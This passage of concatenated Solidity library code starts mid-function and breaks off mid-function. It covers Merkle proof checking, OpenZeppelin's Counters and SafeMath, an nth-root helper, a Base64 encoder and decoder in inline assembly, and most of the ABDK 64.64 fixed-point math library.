(computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity ^0.8.6; library Roots { // calculates a^(1/n) to dp decimal places // maxIts bounds the number of iterations performed function nthRoot(uint _a, uint _n, uint _dp, uint _maxIts) pure internal returns(uint) { assert (_n > 1); // The scale factor is a crude way to turn everything into integer calcs. // Actually do (a * (10 ^ ((dp + 1) * n))) ^ (1/n) // We calculate to one extra dp and round at the end uint one = 10 ** (1 + _dp); uint a0 = one ** _n * _a; // Initial guess: 1.0 uint xNew = one; uint iter = 0; while (iter < _maxIts) { uint x = xNew; uint t0 = x ** (_n - 1); if (x * t0 > a0) { xNew = x - (x - a0 / t0) / _n; } else { xNew = x + (a0 / t0 - x) / _n; } ++iter; if(xNew == x) { break; } } // Round to nearest in the last dp. return (xNew + 5) / 10; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; /// @title Base64 /// @author Brecht Devos - <[email protected]> /// @notice Provides functions for encoding/decoding base64 library Base64 { string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000" hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000" hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000" hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000"; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE_ENCODE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { // read 3 bytes dataPtr := add(dataPtr, 3) let input := mload(dataPtr) // write 4 characters mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F)))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 {mstore(sub(resultPtr, 2), shl(240, 0x3d3d))} case 2 {mstore(sub(resultPtr, 1), shl(248, 0x3d))} } return result; } function decode(string memory _data) internal pure returns (bytes memory) { bytes memory data = bytes(_data); if (data.length == 0) return new bytes(0); require(data.length % 4 == 0, "invalid base64 decoder input"); // load the table into memory bytes memory table = TABLE_DECODE; // every 4 characters represent 3 bytes uint256 decodedLen = (data.length / 4) * 3; // add some extra buffer at the end required for the writing bytes memory result = new bytes(decodedLen + 32); assembly { // padding with '=' let lastBytes := mload(add(data, mload(data))) if eq(and(lastBytes, 0xFF), 0x3d) { decodedLen := sub(decodedLen, 1) if eq(and(lastBytes, 0xFFFF), 0x3d3d) { decodedLen := sub(decodedLen, 1) } } // set the actual output length mstore(result, decodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 4 characters at a time for {} lt(dataPtr, endPtr) {} { // read 4 characters dataPtr := add(dataPtr, 4) let input := mload(dataPtr) // write 3 bytes let output := add( add( shl(18, and(mload(add(tablePtr, and(shr(24, input), 0xFF))), 0xFF)), shl(12, and(mload(add(tablePtr, and(shr(16, input), 0xFF))), 0xFF))), add( shl(6, and(mload(add(tablePtr, and(shr(8, input), 0xFF))), 0xFF)), and(mload(add(tablePtr, and(input, 0xFF))), 0xFF) ) ) mstore(resultPtr, shl(232, output)) resultPtr := add(resultPtr, 3) } } return result; } } // SPDX-License-Identifier: BSD-4-Clause /* * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting. * Author: Mikhail Vladimirov <[email protected]> */ pragma solidity ^0.8.6; /** * Smart contract library of mathematical functions operating with signed * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is * basically a simple fraction whose numerator is signed 128-bit integer and * denominator is 2^64. As long as denominator is always the same, there is no * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are * represented by int128 type holding only the numerator. */ library ABDKMath64x64 { /* * Minimum value signed 64.64-bit fixed point number may have. */ int128 private constant MIN_64x64 = -0x80000000000000000000000000000000; /* * Maximum value signed 64.64-bit fixed point number may have. */ int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * Convert signed 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromInt (int256 x) internal pure returns (int128) { unchecked { require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF); return int128 (x << 64); } } /** * Convert signed 64.64 fixed point number into signed 64-bit integer number * rounding down. * * @param x signed 64.64-bit fixed point number * @return signed 64-bit integer number */ function toInt (int128 x) internal pure returns (int64) { unchecked { return int64 (x >> 64); } } /** * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromUInt (uint256 x) internal pure returns (int128) { unchecked { require (x <= 0x7FFFFFFFFFFFFFFF); return int128 (int256 (x << 64)); } } /** * Convert signed 64.64 fixed point number into unsigned 64-bit integer * number rounding down. Revert on underflow. * * @param x signed 64.64-bit fixed point number * @return unsigned 64-bit integer number */ function toUInt (int128 x) internal pure returns (uint64) { unchecked { require (x >= 0); return uint64 (uint128 (x >> 64)); } } /** * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point * number rounding down. Revert on overflow. * * @param x signed 128.128-bin fixed point number * @return signed 64.64-bit fixed point number */ function from128x128 (int256 x) internal pure returns (int128) { unchecked { int256 result = x >> 64; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Convert signed 64.64 fixed point number into signed 128.128 fixed point * number. * * @param x signed 64.64-bit fixed point number * @return signed 128.128 fixed point number */ function to128x128 (int128 x) internal pure returns (int256) { unchecked { return int256 (x) << 64; } } /** * Calculate x + y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function add (int128 x, int128 y) internal pure returns (int128) { unchecked { int256 result = int256(x) + y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate x - y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sub (int128 x, int128 y) internal pure returns (int128) { unchecked { int256 result = int256(x) - y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate x * y rounding down. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function mul (int128 x, int128 y) internal pure returns (int128) { unchecked { int256 result = int256(x) * y >> 64; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point * number and y is signed 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y signed 256-bit integer number * @return signed 256-bit integer number */ function muli (int128 x, int256 y) internal pure returns (int256) { unchecked { if (x == MIN_64x64) { require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF && y <= 0x1000000000000000000000000000000000000000000000000); return -y << 63; } else { bool negativeResult = false; if (x < 0) { x = -x; negativeResult = true; } if (y < 0) { y = -y; // We rely on overflow behavior here negativeResult = !negativeResult; } uint256 absoluteResult = mulu (x, uint256 (y)); if (negativeResult) { require (absoluteResult <= 0x8000000000000000000000000000000000000000000000000000000000000000); return -int256 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int256 (absoluteResult); } } } } /** * Calculate x * y rounding down, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y unsigned 256-bit integer number * @return unsigned 256-bit integer number */ function mulu (int128 x, uint256 y) internal pure returns (uint256) { unchecked { if (y == 0) return 0; require (x >= 0); uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64; uint256 hi = uint256 (int256 (x)) * (y >> 128); require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); hi <<= 64; require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo); return hi + lo; } } /** * Calculate x / y rounding towards zero. Revert on overflow or when y is * zero. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function div (int128 x, int128 y) internal pure returns (int128) { unchecked { require (y != 0); int256 result = (int256 (x) << 64) / y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate x / y rounding towards zero, where x and y are signed 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x signed 256-bit integer number * @param y signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function divi (int256 x, int256 y) internal pure returns (int128) { unchecked { require (y != 0); bool negativeResult = false; if (x < 0) { x = -x; // We rely on overflow behavior here negativeResult = true; } if (y < 0) { y = -y; // We rely on overflow behavior here negativeResult = !negativeResult; } uint128 absoluteResult = divuu (uint256 (x), uint256 (y)); if (negativeResult) { require (absoluteResult <= 0x80000000000000000000000000000000); return -int128 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int128 (absoluteResult); // We rely on overflow behavior here } } } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function divu (uint256 x, uint256 y) internal pure returns (int128) { unchecked { require (y != 0); uint128 result = divuu (x, y); require (result <= uint128 (MAX_64x64)); return int128 (result); } } /** * Calculate -x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function neg (int128 x) internal pure returns (int128) { unchecked { require (x != MIN_64x64); return -x; } } /** * Calculate |x|. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function abs (int128 x) internal pure returns (int128) { unchecked { require (x != MIN_64x64); return x < 0 ? -x : x; } } /** * Calculate 1 / x rounding towards zero. Revert on overflow or when x is * zero. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function inv (int128 x) internal pure returns (int128) { unchecked { require (x != 0); int256 result = int256 (0x100000000000000000000000000000000) / x; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function avg (int128 x, int128 y) internal pure returns (int128) { unchecked { return int128 ((int256 (x) + int256 (y)) >> 1); } } /** * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down. * Revert on overflow or in case x * y is negative. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function gavg (int128 x, int128 y) internal pure returns (int128) { unchecked { int256 m = int256 (x) * int256 (y); require (m >= 0); require (m < 0x4000000000000000000000000000000000000000000000000000000000000000); return int128 (sqrtu (uint256 (m))); } } /** * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y uint256 value * @return signed 64.64-bit fixed point number */ function pow (int128 x, uint256 y) internal pure returns (int128) { unchecked { bool negative = x < 0 && y & 1 == 1; uint256 absX = uint128 (x < 0 ? -x : x); uint256 absResult; absResult = 0x100000000000000000000000000000000; if (absX <= 0x10000000000000000) { absX <<= 63; while (y != 0) { if (y & 0x1 != 0) { absResult = absResult * absX >> 127; } absX = absX * absX >> 127; if (y & 0x2 != 0) { absResult = absResult * absX >> 127; } absX = absX * absX >> 127; if (y & 0x4 != 0) { absResult = absResult * absX >> 127; } absX = absX * absX >> 127; if (y & 0x8 != 0) { absResult = absResult * absX >> 127; } absX = absX * absX >> 127; y >>= 4; } absResult >>= 64; } else { uint256 absXShift = 63; if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; } if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; } if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; } if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; } if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; } if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; } uint256 resultShift = 0; while (y != 0) { require (absXShift < 64); if (y & 0x1 != 0) { absResult = absResult * absX >> 127; resultShift += absXShift; if (absResult > 0x100000000000000000000000000000000) { absResult >>= 1; resultShift += 1; } } absX = absX * absX >> 127; absXShift <<= 1; if (absX >= 0x100000000000000000000000000000000) { absX >>= 1; absXShift += 1; } y >>= 1; } require (resultShift < 64); absResult >>= 64 - resultShift; } int256 result = negative ? -int256 (absResult) : int256 (absResult); require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate sqrt (x) rounding down. Revert if x < 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sqrt (int128 x) internal pure returns (int128) { unchecked { require (x >= 0); return int128 (sqrtu (uint256 (int256 (x)) << 64)); } } /** * Calculate binary logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function log_2 (int128 x) internal pure returns (int128) { unchecked { require (x > 0); int256 msb = 0; int256 xc = x; if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; } if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore int256 result = msb - 64 << 64; uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb); for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) { ux *= ux; uint256 b = ux >> 255; ux >>= 127 + b; result += bit * int256 (b); } return int128 (result); } } /** * Calculate natural logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function ln (int128 x) internal pure returns (int128) { unchecked { require (x > 0); return int128 (int256 ( uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128)); } } /** * Calculate binary exponent of x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function exp_2 (int128 x) internal pure returns (int128) { unchecked { require (x < 0x400000000000000000); // Overflow if (x < -0x400000000000000000) return 0; // Underflow uint256 result = 0x80000000000000000000000000000000; if (x & 0x8000000000000000 > 0) result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128; if (x & 0x4000000000000000 > 0) result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128; if (x & 0x2000000000000000 > 0) result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128; if (x & 0x1000000000000000 > 0) result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128; if (x & 0x800000000000000 > 0) result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128; if (x & 0x400000000000000 > 0) result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128; if (x & 0x200000000000000 > 0) result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128; if (x & 0x100000000000000 > 0) result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128; if (x & 0x80000000000000 > 0) result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128; if (x & 0x40000000000000 > 0) result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128; if (x & 0x20000000000000 > 0) result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128; if (x & 0x10000000000000 > 0) result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128; if (x & 0x8000000000000 > 0) result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128; if (x & 0x4000000000000 > 0) result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128; if (x & 0x2000000000000 > 0) result = result * 0x1000162E525EE054754457D5995292026 >> 128; if (x & 0x1000000000000 > 0) result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128; if (x & 0x800000000000 > 0) result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128; if (x & 0x400000000000 > 0) result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128; if (x & 0x200000000000 > 0) result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128; if (x & 0x100000000000 > 0) result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128; if (x & 0x80000000000 > 0) result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128; if (x & 0x40000000000 > 0) result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128; if (x & 0x20000000000 > 0) result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128; if (x & 0x10000000000 > 0) result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128; if (x & 0x8000000000 > 0) result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128; if (x & 0x4000000000 > 0) result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128; if (x & 0x2000000000 > 0) result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128; if (x & 0x1000000000 > 0) result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128; if (x & 0x800000000 > 0) result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128; if (x & 0x400000000 > 0) result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128; if (x & 0x200000000 > 0) result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128; if (x & 0x100000000 > 0) result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128; if (x & 0x80000000 > 0) result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128; if (x & 0x40000000 > 0) result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128; if (x & 0x20000000 > 0) result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128; if (x & 0x10000000 > 0) result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128; if (x & 0x8000000 > 0) result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128; if (x & 0x4000000 > 0) result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128; if (x & 0x2000000 > 0) result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128; if (x & 0x1000000 > 0) result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128; if (x & 0x800000 > 0) result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128; if (x & 0x400000 > 0) result = result * 0x100000000002C5C85FDF477B662B26945 >> 128; if (x & 0x200000 > 0) result = result * 0x10000000000162E42FEFA3AE53369388C >> 128; if (x & 0x100000 > 0) result = result * 0x100000000000B17217F7D1D351A389D40 >> 128; if (x & 0x80000 > 0) result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128; if (x & 0x40000 > 0) result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128; if (x & 0x20000 > 0) result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128; if (x & 0x10000 > 0) result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128; if (x & 0x8000 > 0) result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128; if (x & 0x4000 > 0) result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128; if (x & 0x2000 > 0) result = result * 0x1000000000000162E42FEFA39F02B772C >> 128; if (x & 0x1000 > 0) result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128; if (x & 0x800 > 0) result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128; if (x & 0x400 > 0) result = result * 0x100000000000002C5C85FDF473DEA871F >> 128; if (x & 0x200 > 0) result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128; if (x & 0x100 > 0) result = result * 0x100000000000000B17217F7D1CF79E949 >> 128; if (x & 0x80 > 0) result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128; if (x & 0x40 > 0) result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128; if (x & 0x20 > 0) result = result * 0x100000000000000162E42FEFA39EF366F >> 128; if (x & 0x10 > 0) result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128; if (x & 0x8 > 0) result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128; if (x & 0x4 > 0) result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128; if (x & 0x2 > 0) result = result * 0x1000000000000000162E42FEFA39EF358 >> 128; if (x & 0x1 > 0) result = result * 0x10000000000000000B17217F7D1CF79AB >> 128; result >>= uint256 (int256 (63 - (x >> 64))); require (result <= uint256 (int256 (MAX_64x64))); return int128 (int256 (result)); } } /** * Calculate natural exponent of x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function exp (int128 x) internal pure returns (int128) { unchecked { require (x < 0x400000000000000000); // Overflow if (x < -0x400000000000000000) return 0; // Underflow return exp_2 ( int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128)); } } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return unsigned 64.64-bit fixed point number */ function divuu (uint256 x, uint256 y) private pure returns (uint128) { unchecked { require (y != 0); uint256 result; if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) result = (x << 64) / y; else { uint256 msb = 192; uint256 xc = x >> 192; if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1); require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 hi = result * (y >> 128); uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 xh = x >> 192; uint256 xl = x << 64; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here lo = hi << 128; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here assert (xh == hi >> 128); result += xl / y; } require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return uint128 (result); } } /** * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer * number. * * @param x unsigned 256-bit integer number * @return unsigned 128-bit integer number */ function sqrtu (uint256 x) private pure returns (uint128) { unchecked { if (x == 0) return 0; else { uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / 